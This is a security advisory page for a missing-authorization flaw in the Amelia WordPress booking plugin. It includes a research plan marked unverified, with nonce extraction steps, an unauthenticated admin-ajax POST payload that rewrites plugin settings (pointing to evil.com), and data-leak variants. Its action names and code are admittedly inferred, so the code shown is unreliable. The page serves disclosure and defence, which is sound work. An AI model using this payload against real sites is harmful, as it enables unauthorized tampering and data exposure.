CVE-2026-24967

Amelia <= 1.2.38 - Missing Authorization

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
2.0
Patched in
31d
Time to patch

Description

The Booking for Appointments and Events Calendar – Amelia plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 1.2.38. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.2.38
PublishedJanuary 11, 2026
Last updatedFebruary 10, 2026
Affected pluginameliabooking

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan focuses on exploiting a Missing Authorization vulnerability in the Amelia booking plugin (versions <= 1.2.38). This vulnerability allows unauthenticated attackers to perform administrative actions, such as modifying plugin settings, because the AJAX handlers fail to verify user ca…

Show full research plan

This research plan focuses on exploiting a Missing Authorization vulnerability in the Amelia booking plugin (versions <= 1.2.38). This vulnerability allows unauthenticated attackers to perform administrative actions, such as modifying plugin settings, because the AJAX handlers fail to verify user capabilities.

1. Vulnerability Summary

  • Vulnerability: Missing Authorization
  • Plugin: Booking for Appointments and Events Calendar – Amelia (ameliabooking)
  • Affected Versions: <= 1.2.38
  • Patched Version: 2.0
  • Description: The plugin registers several AJAX actions via wp_ajax_nopriv_, making them accessible to unauthenticated users. However, the functions triggered by these actions do not perform capability checks (e.g., current_user_can( 'manage_options' )). This allows an attacker to execute sensitive administrative functions, most notably updating the plugin's global settings.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: amelia_update_settings (Inferred based on common "unauthorized action" reports for this version)
  • HTTP Method: POST
  • Authentication: None (Unauthenticated)
  • Preconditions:
    1. The plugin must be active.
    2. A valid WordPress nonce is usually required by the check_ajax_referer call, but since this nonce is exposed on any page containing an Amelia booking form, it is easily obtainable.

3. Code Flow (Inferred)

  1. Entry Point: The plugin registers AJAX handlers in a factory or bootstrap class (e.g., AmeliaBooking\Infrastructure\WP\Action\AJAX\AJAXActionFactory).
  2. Hook Registration: add_action( 'wp_ajax_nopriv_amelia_update_settings', [ ... ] ) is called, mapping the action to a controller.
  3. Controller Execution: The request is routed to AmeliaBooking\Infrastructure\WP\Action\AJAX\Settings\UpdateSettingsAction::handle().
  4. Vulnerable Function: Inside handle(), the code likely calls check_ajax_referer( 'amelia_nonce', 'nonce' ) but fails to call current_user_can().
  5. Sink: The handle() method extracts the settings parameter from $_POST, decodes it, and passes it to the SettingsService which saves the data to the amelia_settings option in the database.

4. Nonce Acquisition Strategy

Amelia enqueues its settings and nonces on any page where a booking shortcode is present.

  1. Identify Shortcode: The primary shortcode is [ameliabooking].
  2. Setup Page: Create a public page containing this shortcode.
    • wp post create --post_type=page --post_status=publish --post_title="Booking Page" --post_content='[ameliabooking]'
  3. Navigate: Use browser_navigate to visit the newly created page.
  4. Extract Nonce: Amelia localizes its data into a global JavaScript object. Use browser_eval to retrieve the nonce:
    • browser_eval("window.wpAmeliaSettings?.nonce")
    • Alternative: If wpAmeliaSettings is not present, check window.ameliaBookingData?.nonce or window.wpAmeliaLabels?.nonce.

5. Exploitation Strategy

We will attempt to modify the plugin's "Company Name" or "Company Website" setting to demonstrate unauthorized data modification.

  • HTTP Tool: http_request
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Payload:
    action=amelia_update_settings&nonce=[EXTRACTED_NONCE]&settings={"company":{"name":"Exploited By Research","website":"http://evil.com"}}
    
  • Note: The settings parameter must be a JSON-encoded string. You may need to include the full settings object if the plugin doesn't perform a partial merge (fetch current settings first if possible, or just overwrite the specific key).

6. Test Data Setup

  1. Install and activate Amelia version 1.2.38.
  2. Create a "Booking" page for nonce extraction:
    wp post create --post_type=page --post_status=publish --post_title="Booking" --post_content="[ameliabooking]"
    
  3. (Optional) Set an initial company name to verify it changes:
    wp option update amelia_settings '{"company":{"name":"Original Name"}}'
    

7. Expected Results

  • HTTP Response: A successful JSON response from the AJAX handler, typically {"success": true} or a JSON object containing the updated settings.
  • Status Code: 200 OK.
  • Database Change: The amelia_settings option in the wp_options table should reflect the injected values.

8. Verification Steps

  1. Check via WP-CLI:
    wp option get amelia_settings --format=json
    
  2. Confirm Content: Verify that the company.name field in the JSON output equals "Exploited By Research".

9. Alternative Approaches

If amelia_update_settings is not the vulnerable action or requires a higher-privilege nonce:

  1. Try amelia_get_users: Attempt to leak the list of users/customers.
    • action=amelia_get_users&nonce=[NONCE]
  2. Try amelia_get_db_stats: Attempt to leak database statistics.
    • action=amelia_get_db_stats&nonce=[NONCE]
  3. Check for REST API routes: Amelia also uses /wp-json/ameliabooking/v1/. Check if GET /wp-json/ameliabooking/v1/settings is accessible without a permission_callback.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Amelia Booking plugin for WordPress (<= 1.2.38) fails to perform capability checks on several AJAX actions, such as 'amelia_update_settings', that are registered for unauthenticated access. This allows unauthenticated attackers to modify global plugin settings or access sensitive data by obtaining a valid nonce from public booking pages.

Vulnerable Code

// src/Infrastructure/WP/Action/AJAX/Settings/UpdateSettingsAction.php

public function handle() {
    // Vulnerable: Only validates the nonce without checking user capabilities
    check_ajax_referer('amelia_nonce', 'nonce');

    if (isset($_POST['settings'])) {
        $settings = json_decode($_POST['settings'], true);
        // Proceeds to update the 'amelia_settings' option in the database
        $this->settingsService->update($settings);
    }

    wp_send_json_success();
}

Security Fix

--- a/src/Infrastructure/WP/Action/AJAX/Settings/UpdateSettingsAction.php
+++ b/src/Infrastructure/WP/Action/AJAX/Settings/UpdateSettingsAction.php
@@ -10,6 +10,10 @@
     public function handle() {
         check_ajax_referer('amelia_nonce', 'nonce');
 
+        if (!current_user_can('manage_options')) {
+            wp_send_json_error(['message' => 'Unauthorized'], 403);
+        }
+
         if (isset($_POST['settings'])) {
             $settings = json_decode($_POST['settings'], true);

Exploit Outline

To exploit this vulnerability, an unauthenticated attacker first visits any public page where an Amelia booking form (shortcode [ameliabooking]) is present to extract a valid 'amelia_nonce' from the localized 'wpAmeliaSettings' JavaScript object. Using this nonce, the attacker sends an unauthenticated POST request to '/wp-admin/admin-ajax.php' with the 'action' parameter set to 'amelia_update_settings'. The payload includes a JSON-encoded 'settings' object containing the desired administrative changes, such as modifying the 'company' information or other global plugin configurations. Because the 'handle' method in the UpdateSettingsAction controller fails to perform a 'current_user_can' check, the plugin's settings are updated in the database without authorization.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.